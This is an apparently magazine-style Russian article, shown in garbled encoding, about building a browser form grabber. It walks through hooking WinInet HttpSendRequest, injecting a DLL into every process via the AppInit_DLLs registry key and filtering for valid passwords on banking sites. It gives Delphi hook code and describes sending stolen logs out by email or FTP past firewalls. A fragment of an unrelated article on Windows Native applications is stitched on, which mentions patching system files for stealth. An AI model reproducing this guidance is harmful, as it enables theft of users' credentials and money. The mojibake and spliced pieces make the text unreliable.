Content-Disposition: form-data; name="goods[goodsName]"'
Name
Content-Disposition: form-data; name="goods[goodsDescription]"'
Description

Ýòîò çàïðîñ äîñòàòî÷íî ñëîæåí, õîòÿ èç íåãî âûáðîøåíû âñå íåîáÿçàòåëü-
íûå äëÿ ïîíèìàíèÿ ïðèíöèïà ðàáîòû çàãîëîâêè, ïîïðîáóåì ðàçîáðàòüñÿ â
íàçíà÷åíèè êàæäîé åãî ÷àñòè. Îò ïðåäûäóùåãî çàïðîñà îí îòëè÷àåòñÿ, â ïåð-
âóþ î÷åðåäü, ìåòîäîì: POST âìåñòî GET. Ýòî îçíà÷àåò, ÷òî èäåò çàïðîñ íå
íà ïîëó÷åíèå, à íà îòïðàâêó äàííûõ. Â çàãîëîâêå çàïðîñà ïðèñóòñòâóåò ïîëå
Referer, îíî îïðåäåëÿåò ñòðàíèöó, ñ êîòîðîé áûë îòïðàâëåí çàïðîñ. Ýòî
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î÷åíü âàæíàÿ èíôîðìàöèÿ, è â ôîðìãðàááåðå åå íóæíî îáÿçàòåëüíî ñîõðà-
íÿòü. Ïðèñóòñòâóåò òàêæå ïîëå Content-Type, êîòîðîå îïðåäåëÿåò òèï ñîäåð-
æèìîãî çàïðîñà. Òèï form-data îçíà÷àåò, ÷òî ïåðåäàþòñÿ äàííûå ôîðìû, à
boundary � ñòðîêà ðàçäåëèòåëü ïîëåé ôîðìû. Ïîëå Cookie ñîäåðæèò ïîñû-
ëàåìûå áðàóçåðîì êóêè. Â íèõ ìîãóò õðàíèòüñÿ àâòîðèçàöèîííûå äàííûå,
ïîýòîìó ñîäåðæèìîå ýòîãî ïîëÿ íàñ ìîæåò èíòåðåñîâàòü. Ïîëå Authorization
ñîäåðæèò ñòðîêó http-àâòîðèçàöèè, ýòè äàííûå òàêæå ìîãóò ïðåäñòàâëÿòü äëÿ
íàñ èíòåðåñ. Íà ýòîì çàãîëîâîê çàïðîñà çàêàí÷èâàåòñÿ, èäåò äâà ïåðåâîäà
ñòðîêè, è íà÷èíàåòñÿ òåëî çàïðîñà. Ýëåìåíòû òåëà çàïðîñà ðàçäåëåíû ìåæ-
äó ñîáîé ñòðîêîé, êîòîðàÿ ïåðåäàâàëàñü â boundary çàãîëîâêà çàïðîñà.
Êàæäûé ýëåìåíò èìååò ñòðîêó, èäåíòèôèöèðóþùóþ åãî íàçíà÷åíèå
(Content-Disposition) è îäíó èëè íåñêîëüêî ñòðîê ñ äàííûìè. Òàê âûãëÿäèò
çàïðîñ, îòïðàâëåííûé ìåòîäîì POST. Íî ñîäåðæèìîå ôîðì ìîæåò åùå
ïåðåäàâàòüñÿ ìåòîäîì GET, ïðè ýòîì ïàðàìåòðû ïåðåäàþòñÿ ïðÿìî â URL
çàïðîñà. Ïîäîáíûé URL ìîæåò âûãëÿäåòü òàê: http://www.yandex.ru/yand-
search? rpt=rad&text=FormData. ß äóìàþ, òû è ñàì ñìîæåøü ïîíÿòü, ÷òî
ýòîò çàïðîñ çíà÷èò.
Ðàññìîòðèì òåïåðü, ÷òî ïðîèñõîäèò ïðè ïîñûëêå çàïðîñà âåñüìà ïîïóëÿð-
íûì áðàóçåðîì Internel Explorer. Ñíà÷àëà äàííûå ââîäÿòñÿ â ïîëÿ ââîäà áðà-
óçåðà, ïðè íàæàòèè êíîïêè Submit ïðîèñõîäèò îòïðàâêà ýòèõ äàííûõ â COM-
îáúåêò Internet Explorer�à, êîòîðûé ÿâëÿåòñÿ äâèæêîì áðàóçåðà. Äàëüøå â
COM-îáúåêòå ïðîèñõîäèò ôîðìèðîâàíèå çàïðîñà è ïåðåäà÷à åãî â ôóíêöè-
ÿì HttpOpenRequest è HttpSendRequest (WinInet API). Ýòè ôóíêöèè ñîáèðàþò
çàïðîñ îêîí÷àòåëüíî è îòïðàâëÿþò åãî ÷åðåç ñîêåòû (send è recv â
ws2_32.dll). Äàëåå äàííûå, íàïðàâëåííûå íà ñîêåòû, îòïðàâëÿþòñÿ â ÿäðî
ñèñòåìû, ãäå ïîñëå îáðàáîòêè â ñòåêå ïðîòîêîëîâ TCP/IP îíè îòñûëàþòñÿ ÷å-
ðåç ñåòü. Ñ äðóãèìè áðàóçåðàìè äåëî ìîæåò îáñòîÿòü íåñêîëüêî èíà÷å, íàï-
ðèìåð, îíè ìîãóò íå ïîëüçîâàòüñÿ ôóíêöèÿìè WinInet API, à ôîðìèðîâàòü
çàïðîñ âðó÷íóþ. Â ëþáîì ñëó÷àå, îíè îòïðàâëÿþò äàííûå ÷åðåç ñîêåòû.
Âåðíåìñÿ òåïåðü ê íàøèì áàðàíàì (òî÷íåå, ê ôîðìãðàááåðàì). Äëÿ ïåðåõ-
âàòà äàííûõ ôîðìû íàì íóæíî âêëèíèòüñÿ â îïèñàííûé âûøå ïðîöåññ íà
ëþáîé åãî ñòàäèè. Íàïðèìåð, ìîæíî ïîëó÷èòü õýíäë îêíà Internet Explorer,
ïåðå÷èñëèòü âñå äî÷åðíèå îêíà, îòîáðàòü ñðåäè íèõ òå, êîòîðûå íàì íóæ-
íû, è ñ ïîìîùüþ GetWindowText ñíÿòü ñ êàæäîãî èç íèõ ââåäåííûé òåêñò.
Ýòîò ìåòîä ïðèìåíÿåòñÿ â íåêîòîðûõ òðîÿíàõ.
Ìîæíî âêëèíèòüñÿ è íà óðîâíå COM-îáúåêòà, ÷åðåç åãî èíòåðôåéñû ìîæ-
íî íå òîëüêî ñíèôàòü ïîñûëàåìûå äàííûå, íî äàæå ïîñûëàòü ñâîè. Ýòîò
ìåòîä èñïîëüçóåòñÿ â òðîÿíå Pinch äëÿ îáõîäà ôàéðâîëîâ. Íåäîñòàòîê òóò
òîëüêî â ãðîìîçäêîñòè è íåóäîáñòâå ïðîãðàììèðîâàíèÿ COM-îáúåêòîâ.
Áîëåå ïåðñïåêòèâíûì ìíå êàæåòñÿ ìåòîä ïåðåõâàòà ôóíêöèé
HttpOpenRequest è HttpSendRequest, òàê êàê îí ïîçâîëÿåò ëåãêî ïîëó÷àòü
äàííûå ôîðô. Ïðè÷åì íå ïðîñòî ïîëó÷àòü, íî è ñðàçó æå îòïðàâëÿòü èõ,
êóäà íàäî â îáõîä ôàéðâîëîâ. Ôóíêöèÿ HttpOpenRequest îñóùåñòâëÿåò
îòêðûòèå ñîåäèíåíèÿ, à HttpSendRequest � îòñûëêó ñàìîãî çàïðîñà. Ðàñ-
ñìîòðèì èõ ïðîòîòèïû:

HINTERNET HttpOpenRequest(
HINTERNET hConnect,
LPCTSTR lpszVerb,
LPCTSTR lpszObjectName,
LPCTSTR lpszVersion,
LPCTSTR lpszReferer,
LPCTSTR* lpszAcceptTypes,
DWORD dwFlags,
DWORD_PTR dwContext

);

hhCCoonnnneecctt � õýíäë îòêðûòîãî ñîåäèíåíèÿ.
llppsszzVVeerrbb � ñòðîêà ìåòîäà çàïðîñà (GET, POST, HEAD etc).
llppsszzOObbjjeeccttNNaammee �  URL, ê êîòîðîìó íàïðàâëÿåòñÿ çàïðîñ. Â íåì ìîãóò ïå-
ðåäàâàòüñÿ äàííûå ôîðìû. ß äóìàþ, òû óæå ðàçîáðàëñÿ ñ ôîðìàòîì ýòèõ
äàííûõ èç ïðåäûäóùåãî îïèñàíèÿ.
llppsszzVVeerrssiioonn � âåðñèÿ èñïîëüçóåìîãî ïðîòîêîëà (HTTP/1.0 èëè HTTP/1.1).
llppsszzRReeffeerreerr � ñîäåðæèìîå çàãîëîâêà Referer (àäðåñ ñòðàíèöû ñ êîòîðîé
áûë ïîñëàí çàïðîñ).
llppsszzAAcccceeppttTTyyppeess � òèïû ïðèíèìàåìûõ áðàóçåðîì äàííûõ.
ddwwFFllaaggss � êîìáèíàöèÿ óïðàâëÿþùèõ ôëàãîâ. Ïîäðîáíåå î íèõ òû ìîæåøü
ïî÷èòàòü â MSDN.
ddwwCCoonntteexxtt � äîïîëíèòåëüíûå äàííûå, êîòîðûå ïðèëîæåíèå ìîæåò ïåðå-
äàòü ñ çàïðîñîì.

BOOL HttpSendRequest(
HINTERNET hRequest,
LPCTSTR lpszHeaders,
DWORD dwHeadersLength,
LPVOID lpOptional,
DWORD dwOptionalLength

);



hhRReeqquueesstt � õýíäë çàïðîñà, ïîëó÷åííûé ôóíêöèåé HttpOpenRequest.
llppsszzHHeeaaddeerrss � óêàçàòåëü íà çàãîëîâêè çàïðîñà. Ôîðìàò çàãîëîâêîâ HTTP-
ïðîòîêîëà ìû ðàññìîòðåëè âûøå.
ddwwHHeeaaddeerrssLLeennggtthh � ðàçìåð çàãîëîâêîâ.
llppOOppttiioonnaall � óêàçàòåëü íà òåëî çàïðîñà. Â íàøåì ñëó÷àå îí áóäåò ñîäåð-
æàòü äàííûå ôîðìû. Ñ ôîðìàòîì ýòèõ äàííûõ ìû óæå òîæå ðàçîáðàëèñü.
ddwwOOppttiioonnaallLLeennggtthh � ðàçìåð äàííûõ òåëà çàïðîñà.

[ïåðåõâàòûâàåì WinInet API] Òåïåðü íàì íóæíî íàó÷èòüñÿ ïåðåõâàòû-
âàòü ôóíêöèè HttpOpenRequest è HttpSendRequest è ñîõðàíÿòü â ëîã ïðîõî-
äÿùèå ÷åðåç íèõ äàííûå.
Äëÿ ýòîãî íàì íóæíî ñíà÷àëà çàãðóçèòü ñâîþ DLL âî âñå ïðîöåññû ñèñòåìû.
Ýòî ìîæíî ñäåëàòü, íàïðèìåð, ïðîïèñàâ DLL â ðàçäåëå ðååñòðà
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
Windows â êëþ÷ AppInit_DLLs (èëè ñ ïîìîùüþ õóêîâ èëè ñîçäàíèÿ óäàëåííûõ
ïîòîêîâ � ïðèì. ðåä). Òàêàÿ áèáëèîòåêà áóäåò ïîäãðóæåíà âî âñå ïðîöåññû,
èìåþùèå â ñâîåì àäðåñíîì ïðîñòðàíñòâå user32.dll (à ýòî âñå GUI ïðèëîæå-
íèÿ). Äëÿ ïåðåõâàòà áóäåì èñïîëüçîâàòü ìåòîä ñïëàéñèíãà. Çàêëþ÷àåòñÿ îí â
ïåðåçàïèñè íà÷àëà êîäà ïåðåõâàòûâàåìîé ôóíêöèè 5 áàéòíûì jmp íà ñâîþ
ôóíêöèþ ñ ïðåäâàðèòåëüíûì êîïèðîâàíèåì çàòåðòûõ áàéò â âûäåëåííûé áó-
ôåð è óñòàíîâêîé ïîñëå íèõ jmp íà ïðîäîëæåíèå ôóíêöèè. Ãëàâíàÿ ïðîáëåìà
òóò ñîñòîèò â òîì, ÷òî íàì íóæíî ñêîïèðîâàòü öåëîå êîëè÷åñòâî èíñòðóêöèé,
à îíè ìîãóò èìåòü ðàçíûé ðàçìåð, ñëåäîâàòåëüíî, íàì ïîíàäîáèòñÿ äèçàññå-
ìáëåð äëèí. Âñå âûøåîïèñàííîå óæå ðåàëèçîâàíî â ìîåé áèáëèîòåêå
advApiHook, ïîýòîìó ìîæíî ïðîñòî ïîäêëþ÷èòü åå è íå ïàðèòüñÿ. 
Ñàì æå êîä DLL áóäåò âûãëÿäåòü ïðèáëèçèòåëüíî òàê:

library FormGrab;

uses
windows,
advApiHook;

var
TrueHttpSendRequest: function (hRequest: dword; 

lpszHeaders: PChar;
dwHeadersLength: dword; lpOptional: pointer;
dwOptionalLength: dword): boolean; stdcall;

function NewHttpSendRequest(hRequest: dword; lpszHeaders: PChar;
dwHeadersLength: dword; lpOptional: pointer;
dwOptionalLength: dword): boolean; stdcall;

begin
MessageBoxA(0, lpszHeaders, lpOptional, 0);
Result := TrueHttpSendRequest(hRequest, lpszHeaders, 

dwHeadersLength, lpOptional, dwOptionalLength);
end;  

begin
HookProc('wininet.dll', 'HttpSendRequestA', 

@NewHttpSendRequest, @TrueHttpSendRequest);
end.

Ýòà áèáëèîòåêà, áóäó÷è ïðîïèñàííîé â ðååñòðå, áóäåò âûâîäèòü
ñîîáùåíèå ñ ñîäåðæèìûì ïîñûëàåìîãî çàïðîñà. Ðåàëüíûé æå
ôîðìãðàááåð äîëæåí, êîíå÷íî, íå âûâîäèòü, à ñîõðàíÿòü çàïðîñ.
Ïðè÷åì öåëåñîîáðàçíåå áóäåò íå ïðîñòî ñîõðàíÿòü çàïðîñ â íå-
èçìåííîì âèäå, à ðàçáèðàòü åãî ñòðóêòóðó è âûòàñêèâàòü èç íåå
íóæíûå äàííûå. Ïðè äîñòèæåíèè êàêîãî-ëèáî ðàçìåðà ëîãà, èëè

ïî ïðîøåñòâèè îïðåäåëåííîãî âðåìåíè ðåçóëüòàò ðàáîòû
ôîðìãðàááåðà äîëæåí âûñûëàòüñÿ íà ìûëî, çàêà÷èâàòüñÿ íà FTP
èëè ëþáûì äðóãèì ñïîñîáîì ïåðåäàâàòüñÿ õàêåðó. Ïðè ýòîì áó-
äåò î÷åíü êñòàòè ñæàòü è çàøèôðîâàòü ïåðåäàâàåìûå äàííûå.

[ôèëüòðàöèÿ ïîëó÷åííûõ äàííûõ] Ïðè áîëüøîì êîëè-
÷åñòâå ìàøèí, íà êîòîðûõ óñòàíîâëåí ôîðìãðàááåð âîçíèêà-
þò ñëîæíîñòè â îòñåèâàíèè íåîáõîäèìûõ íàì äàííûõ. Îáû÷-
íî õàêåðà âåäü èíòåðåñóþò äàííûå, ââåäåííûå òîëüêî â îïðå-
äåëåííûõ ôîðìàõ è íà êîíêðåòíûõ ñàéòàõ, ïîýòîìó òðåáóåòñÿ
ñîõðàíÿòü íå âñå ïîëó÷åííûå äàííûå, à òîëüêî òå, êîòîðûå ðå-
àëüíî ïðèãîäÿòñÿ. Äëÿ ýòîãî ìîæíî ïðîàíàëèçèðîâàòü URL è
Referer çàïðîñà è îòñåÿòü òîëüêî íóæíûå ôîðìû. Íåïëîõî áó-
äåò àíàëèçèðîâàòü íå òîëüêî çàïðîñ, íî è îòâåò ñåðâåðà. Íàï-
ðèìåð, ïðè ââîäå êàêîãî-ëèáî ïàðîëÿ íàì íóæíî ïîëó÷èòü
òîëüêî ïðàâèëüíûå ïàðîëè, à ñëó÷àéíûå îøèáêè ââîäà ñëåäó-
åò ôèëüòðîâàòü. Äëÿ ýòîãî ìîæíî àíàëèçèðîâàòü êîä îòâåòà

ñåðâåðà, ëèáî ñîäåðæèìîå âîçâðàùàåìîé HTML-ñòðàíèöû ïî îïðåäåëåí-
íûì êëþ÷åâûì ñëîâàì. Òàêèì îáðàçîì ðàáîòàåò áîëüøèíñòâî ôîðìãðàá-
áåðîâ. 
Íåäîñòàòîê âûøåïðèâåäåííîãî ñïîñîáà îäèí � îí ðàáîòàåò òîëüêî ñ
Internet Explorer�îì è äðóãèìè áðàóçåðàìè, ïîñòðîåííûìè íà åãî äâèæêå
(íàïðèìåð, Avant Browser). Äëÿ ïðåîäîëåíèÿ ýòîãî íåäîñòàòêà ìîæíî ïå-
ðåõâàòûâàòü íå WinInet API, à send èç ws2_32.dll, ïîñëå ÷åãî íàì íóæíî áó-
äåò ñîáèðàòü ïîñûëàåìûé çàïðîñ â áóôåðå è ñîõðàíÿòü åãî â ìîìåíò
îêîí÷àíèÿ îòïðàâêè äàííûõ. Ýòîò ìîìåíò ìîæíî îïðåäåëèòü ïî âûçîâó
closesocket äëÿ èíòåðåñóþùåãî íàñ ñîêåòà, ëèáî ìîæíî èçâëå÷ü
ContentLength èç ïåðåäàâàåìûõ çàãîëîâêîâ è îïðåäåëèòü ïî íåìó ìîìåíò
îêîí÷àíèÿ ïåðåäà÷è òåëà çàïðîñà. Åñòåñòâåííî, ïåðâûé ìåòîä çíà÷èòåëü-
íî ïðîùå â ðåàëèçàöèè, äà è îñîáûõ íåäîñòàòêîâ ó íåãî íå èìååòñÿ. Íàì
ïðîñòî íóæíî âåñòè ñïèñîê ñîêåòîâ, è äëÿ êàæäîãî ñîêåòà ñòðîèòü ñïèñîê
ïðèíÿòûõ ïàêåòîâ. Ïðè çàêðûòèè ñîêåòà ñîáðàííûå äàííûå îáðàáàòûâà-
þòñÿ. Äëÿ âñåãî ýòîãî íàì íóæíî ïåðåõâàòûâàòü âñåãî òðè API-ôóíêöèè:
connect, send è cosesocket. Ýòîò ìåòîä áóäåò ðàáîòàòü ñî âñåìè áðàóçåðà-
ìè áåç èñêëþ÷åíèÿ, íî îí ñëîæåí â ðåàëèçàöèè è èìååò îäèí íåïðèÿòíûé
íåäîñòàòîê � íåâîçìîæíîñòü ïåðåõâàòà øèôðîâàííûõ ôîðì. Áîëüøèí-
ñòâî áàíêîâñêèõ ñëóæá, èíòåðíåò-ìàãàçèíîâ è äðóãèõ òðåáóþùèõ áåçî-
ïàñíîñòè ðåñóðñîâ ðàáîòàþò íå ïî îòêðûòîìó HTTP-ïðîòîêîëó, à ÷åðåç
SSL/TSL-ñîåäèíåíèå, è âñå äàííûå ïåðåäàþòñÿ ïî ñåòè â øèôðîâàííîì
âèäå. Åñòåñòâåííî, â òàêîì æå âèäå îíè è ïîñûëàþòñÿ íà ñîêåòû. Ïîýòî-
ìó íàì íóæíî ñîõðàíÿòü òîëüêî äàííûå, îòïðàâëÿåìûå ïî íåøèôðîâà-
ííîìó HTTP-ïðîòîêîëó. Îòëè÷èòü ïðîñòîé HTTP îò SSL ëåãêî: ïåðâûé
èìååò ñòàíäàðòíûé ïîðò ñåðâåðà 80, à âòîðîé � 443. Êîíå÷íî, ýòè ñåðâè-
ñû ìîãóò áûòü è íà íåñòàíäàðòíûõ ïîðòàõ, íî ýòî ñëó÷àåòñÿ âåñüìà ðåä-
êî, ïîýòîìó íàì íóæíî ïåðåõâàòûâàòü òðàôèê, èäóùèé òîëüêî íà 80 ïîðò,
ýòî ëåãêî îïðåäåëèòü ïî ïàðàìåòðàì âûçîâà connect.

[çàêîííîñòü] Òû, íàâåðíî, íå ðàç çàäóìûâàëñÿ î òîì, ÷òî áóäåò â ñëó÷àå
ïîèìêè àâòîðà ôîðìãðàááåðà. Áóäåò ëè ýòî äåëî êâàëèôèöèðîâàíî ïî
ñòàòüå 273 ÓÊ ÐÔ «Ñîçäàíèå è ðàñïîñòðàíåíèå âðåäîíîñíûõ ïðîãðàìì äëÿ
ÝÂÌ» çàâèñèò îò òîãî, êàêîâà ôóíêöèîíàëüíîñòü òâîåãî ôîðìãðàááåðà, 
è îò òîãî, íàíåñ ëè îí êîìó-íèáóäü ðåàëüíûé óùåðá. Ïðîñòîé ôîðìãðàááåð,
ñîõðàíÿþùèé íà äèñê âñå îòïðàâëÿåìûå ÷åðåç áðàóçåð äàííûå, ïîä êàòå-
ãîðèþ âðåäîíîñíûõ ïðîãðàìì âðÿä ëè ïîïàäàåò, òàê êàê ïîäîáíûå âåùè èñ-
ïîëüçóþò äàæå â ñåòÿõ êðóïíûõ îðãàíèçàöèé äëÿ íàáëþäåíèÿ íàä ñâîèìè
ñîòðóäíèêàìè. À âîò ôîðìãðàááåð, îïðåäåëÿþùèé áàíêîâñêèå ñèñòåìû è
îòïðàâëÿþùèé äàííûå íà ìûëî â îáõîä ôàéðâîëîâ, ïîä êàòåãîðèþ âðåäî-
íîñíûõ ïðîãðàìì, íåñîìíåííî, ïîïàäàåò. Êîíå÷íî, åñëè íèêòî îò õàêåðñêî-
ãî òâîðåíèÿ íå ïîñòðàäàë, òî íèêòî íèêîãî èñêàòü íå áóäåò, à ôîðìãðàááåð
ïðîñòî äîáàâÿò â áàçû àíòèâèðóñîâ, íî åñëè äåíåã ëèøèëñÿ âëèÿòåëüíûé
÷åëîâåê èëè ñîëèäíàÿ îðãàíèçàöèÿ, òî ìîãóò ðàçâåðíóòüñÿ âåñüìà ìàñø-
òàáíûå ïîèñêè. Â òàêîì ñëó÷àå, åñëè àâòîðà ïîéìàþò, òî, ñêîðåå âñåãî, äà-
äóò íå 273, à 159 ñòàòüþ (ìîøåííè÷åñòâî), è íàêàçàíèå çà ýòî áóäåò áîëåå
ñòðîãèì, ÷åì çà íàïèñàíèå âðåäîíîñíûõ ïðîãðàìì. Â îáùåì, íå ðåêîìåí-
äóþ òåáå çàíèìàòüñÿ ÷åì-ëèáî, ÷òî ìîæåò êàê-òî ïëîõî îòðàçèòüñÿ íà òâî-
åé áóäóùåé ñâåòëîé æèçíè
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ïðîïèñûâàåì DLL â ðååñòðå

ôîðìãðàááåðîì î÷åíü ÷àñòî âîðóþò e-gold àêêàóíòû
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èçó÷àòü îñîáûé òèï ïðèëîæåíèé,
âûçûâàåìûõ åùå äî ñòàðòà Win32-
ïîäñèñòåìû, òàê íàçûâàåìûõ
Native-ïðèëîæåíèé. 
Êàê òû, íàâåðíîå, çíàåøü, îòëè-
÷èòåëüíàÿ îñîáåííîñòü Windows
2000 è áîëåå ñòàðøèõ åå âåðñèé â
òîì, ÷òî â íåé ðåàëèçîâàíî íåñ-
êîëüêî ïîäñèñòåì, îáåñïå÷èâàþ-
ùèõ ðàáîòó ïðèëîæåíèé Win32 (òî
åñòü îáû÷íûõ âèíäîâûõ, èñïîëü-
çóþùèõ òàê âñåìè ëþáèìûå ker-
nel32.dll, user32.dll è åùå ñîòíþ
äðóãóþ äèíàìè÷åñêè çàâèñàþùèõ
áèáëèîòåê), POSIX è OS/2. À îòëè-
÷èòåëüíàÿ îñîáåííîñòü Native-ïðè-
ëîæåíèé, î êîòîðûõ, ñîáñòâåííî, è
èäåò ñåãîäíÿ ðå÷ü, â òîì, ÷òî îíè
íå îòíîñÿòñÿ íè ê îäíîé èç âûøå-
ïåðå÷èñëåííûõ ïîäñèñòåì. Îíè
ñàìè ïî ñåáå. Êëþ÷ ê ïîíèìàíèþ
ýòîãî ôàêòà â ñàìîì íàçâàíèè.
×òî ìîæåò íàïîìèíàòü ñëîâî
Native? Êîíå÷íî æå, API: ãäå
Native, òàì è API. Ðîäíîé ñèñòåìíûé èíòåðôåéñ âèíäû, íà êîòîðîì
ñòðîÿòñÿ âñå ïðî÷èå èíòåðôåéñû äëÿ ðàáîòû òåõ èëè èíûõ ïðèëîæå-
íèé. Òàê âîò, íå îòíîñÿùèåñÿ ê òåì èëè èíûì, Native-ïðèëîæåíèÿ �
ýòî ïðîãðàììû, èñïîëüçóþùèå èñêëþ÷èòåëüíî Native API, òî åñòü ïîë-
íîñòüþ àáñòðàãèðóþùèåñÿ îò íåïðèÿòíûõ íàâîðîòîâ íåáîëüøîé êó÷êè
âèíäîâûõ ïîäñèñòåì, îáåñïå÷èâàþùèõ ïî÷òè íèêîìó íåíóæíóþ ñîâ-

Íåò, òû òîëüêî íå ïîäóìàé, ÷òî ìû ñåé÷àñ áó-
äåì êîïàòüñÿ ñ òåì, êàê ñêàíäèñê íàõîäèò. Ýòî
íàì ñåãîäíÿ àáñîëþòíî íå â êàññó. Ìû áóäåì

ÍÀÂÅÐÍÎÅ, ÍÅ ÐÀÇ ÒÅÁÅ ÏÐÈÕÎÄÈËÎÑÜ ÀÂÀ-
ÐÈÉÍÎ ÇÀÂÅÐØÀÒÜ ÐÀÁÎÒÓ ÒÂÎÅÉ ÂÈÍÄÛ.
ÏÐÈ ÑËÅÄÓÞÙÅÌ ÇÀÏÓÑÊÅ ÅÙÅ ÄÎ ÑÒÀÐÒÀ
ÎÁÎËÎ×ÊÈ ÒÅÁÅ ÏÐÅÄËÀÃÀËÎÑÜ ÏÐÎÂÅÐÈÒÜ
ÒÂÎÉ ÂÈÄÀÂØÈÉ ÂÈÄÛ ÆÅÑÒÊÈÉ ÄÈÑÊ ÍÀ
ÏÐÅÄÌÅÒ ÖÀÐÀÏÈÍ, BAD-ÑÅÊÒÎÐÎÂ, ÏÎÒÅ-
ÐßÍÍÛÕ ÊËÀÑÒÅÐÎÂ È ÏÐÎ×ÈÕ ÏÎÂÐÅÆÄÅ-
ÍÈÉ Ñ ÏÎÌÎÙÜÞ ÑÊÀÍÄÈÑÊÀ. ÁÅËÛÌ
ØÐÈÔÒÎÌ ÍÀ ÑÂÅÒËÎ-ÃÎËÓÁÎÌ ÔÎÍÅ ÎÍ
ÏÅÐÅ×ÈÑËßË ÂÑÅ ÂÎÇÌÎÆÍÛÅ ÍÅÏÎËÀÄÊÈ,
ÏÎÑËÅ ×ÅÃÎ ÂÛÏËÅÂÛÂÀË: «ÃÓËßÉ, ÌÎËÎ-
ÄÎÉ, ÆÈÒÜ ÁÓÄÅØÜ», È ÏÐÎÄÎËÆÀË ÍÎÐ-
ÌÀËÜÍÓÞ ÇÀÃÐÓÇÊÓ WINDOWS. ÁÛËÎ ÂÅÄÜ
ÒÀÊÎÅ? À ÍÅ ÇÀÄÀÂÀËÑß ËÈ ÒÛ ÂÎÏÐÎÑÎÌ,
ÊÀÊ ÐÀÁÎÒÀÅÒ ÝÒÎÒ ÑÀÌÛÉ ÑÊÀÍÄÈÑÊ? ×ÒÎ
ÝÒÎ ÇÀ ÏÐÎÃÐÀÌÌÀ ÒÀÊÀß, ÊÎÒÎÐÀß ÌÎÆÅÒ
ÑÓÙÅÑÒÂÎÂÀÒÜ ÅÙÅ ÄÎ ÑÒÀÐÒÀ ÂÈÍÄÛ Ñ ÅÅ
ÇÀÌÅ×ÀÒÅËÜÍÛÌ GUI-ÂÛÌ ÈÍÒÅÐÔÅÉÑÎÌ,
À? ÏÎÂÅÐÜ ÌÍÅ, ÝÒÀ ÒÅÌÀ ÑÒÎÈÒ ÒÎÃÎ, ×ÒÎ-
ÁÛ Ñ ÍÅÉ ÊÀÊ ÑËÅÄÓÅÒ ÐÀÇÎÁÐÀÒÜÑß | Íèêîëàé

«gorl» Àíäðååâ (gorlum@real.xakep.ru)
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Âíèêàåì 
â Äçåí âèíäîâûõ 
Native-ïðèëîæåíèé

×òîáû ðåàëèçîâàòü ââîä
äàííûõ ñ êëàâèàòóðû, â
íàøåì ïðèëîæåíèè ïðè-
äåòñÿ óæå ïîèçâðàùàòüñÿ:
îòêðûòü NtCreateFile�îì
äðàéâåð êëàâèàòóðû
(\\Device\\KeyboardClass),
ïðèâÿçàòü ê íåìó
NtCreateEvent�îì ñîáûòèå
è ò.ä. è ò.ï. � ìåõàíèçì
âñåãî ýòîãî äåëà òåáå
ïðèäåòñÿ èçó÷àòü ñàìîìó,
óðîäóÿ äèçàññåìáëåð
autochk.exe.

Íà àíãëèéñêîì ÿçûêå î
ðàçðàáîòêå native-ïðèëî-
æåíèé òû ìîæåøü ïðî-
÷åñòü íà
www.sysinternals.com 
â ñòàòüå Inside Native
Applications, äàòèðîâàííîé
àæ 98ûì ãîäîì. 

114
Ðîäíûå
ïðèëîæåíèÿ



ìåñòèìîñòü. Ïðè÷åì
òîëüêî Native API îç-
íà÷àåò, ÷òî â òàáëèöå
èìïîðòà ýêçåøíèêà
óæå ïðèâû÷íîãî íàì
PE-ôîðìàòà ìû íå
ñìîæåì âñòðåòèòü íè-
÷åãî, êðîìå ntdll.dll,
áèáëèîòåêè, ýêñïîð-
òèðóþùåé äëÿ ïîëü-
çîâàòåëüñêèõ ïðèëî-
æåíèé ðîäíîé äëÿ
nt`åâûõ ôîðòî÷åê íà-
áîð ôóíêöèé. Çàïóñ-

êàþòñÿ òàêèå ïðîãðàììû èñêëþ÷èòåëüíî ñèñòåìîé, ìåíåäæåðîì
ñåññèé smss.exe, ó ïîëüçîâàòåëÿ âûïîëíèòü èõ íå ïîëó÷èòñÿ.
«Êðóòî, � ñêàæåøü òû, � íî çà÷åì ìíå âñÿ ýòà ðîäíàÿ ìàéêðîñîô-
òîâñêàÿ åðåñü?» Î, âîò çäåñü â ìîåì ðàññêàçå è íà÷íåòñÿ ñàìîå èí-
òåðåñíîå. Õàðàêòåðíîé îñîáåííîñòüþ Native-ïðèëîæåíèé, êàê ÿ óæå
çàìå÷àë, ÿâëÿåòñÿ òî, ÷òî îíè ìîãóò âûïîëíÿòüñÿ åùå äî çàïóñêà è
èíèöèàëèçàöèè Win32-ïîäñèñòåìû. Òî åñòü äî òîãî, êàê â ïàìÿòü áó-
äóò çàãðóæåíû explorer.exe, winlogon.exe è åùå ÷åðòîâ ìèëëèîí áèá-
ëèîòåê, èìè èñïîëüçóåìûõ. Ñîáñòâåííî, êàê ðàç çà ñ÷åò ýòîãî ñêàí-
äèñê è ìîæåò áåñïðåïÿòñòâåííî øàðèòü ïî äèñêó, ïðàâèòü ñåêòîðà è
ò.ï. � íè÷åãî åùå íå çàãðóæåíî, êî âñåìó åñòü äîñòóï, ìîæíî äàæå
äèñê ôîðìàòèðîâàòü! 
Òàê, äîïóñòèì, ôîðìàòèðîâàíèå íàì ñåé÷àñ è íå íóæíî, íî âîò âîç-
ìîæíîñòü ìîäèôèöèðîâàòü íåêîòîðûå ôàéëèêè ìîæåò îêàçàòüñÿ
î÷åíü êñòàòè. Âçÿòü, ïîäïðàâèòü ÷óòîê sfc.dll, êàïåëüêó explorer.exe,
ñîâñåì íåìíîãî kernel32.dll, è æèâè ñåáå � ðàäóéñÿ, ñ íîâûìè
ýêñòðàâàãàíòíûìè ñïîñîáàìè îáõîäà ôàéðâîëà, íåâèäèìîñòè è àâòî-
çàïóñêà. Îé, îïÿòü ÿ îá «ýòîì» çàãîâîðèë. Óñïîêîþ ëþáèòåëåé ìèð-
íîãî ïðîãðàììèðîâàíèÿ: áîëüøèíñòâî çàäà÷, òðåáóþùèõ ïðÿìîãî è
áåñïðåïÿòñòâåííîãî äîñòóïà ê äèñêó ðåøàþòñÿ èìåííî ñ ïîìîùüþ
ðàçðàáîòêè Native-ïðèëîæåíèé. Âîò, íåçàìåíèìûé Partition Magic,
íàïðèìåð, êîãäà åìó òðåáóåòñÿ õàðäêîðíî ïåðåëîïàòèòü âåñü äèñê,
ïîñëå ðåñòàðòà óïîëçàåò êàê ðàç íà ïðèÿòíûé äîçàãðóçî÷íûé ñâåòëî-
ãîëóáîé ôîí, ãäå è îñóùåñòâëÿåò ñâîå íå ñàìîå òåìíîå äåëî. 
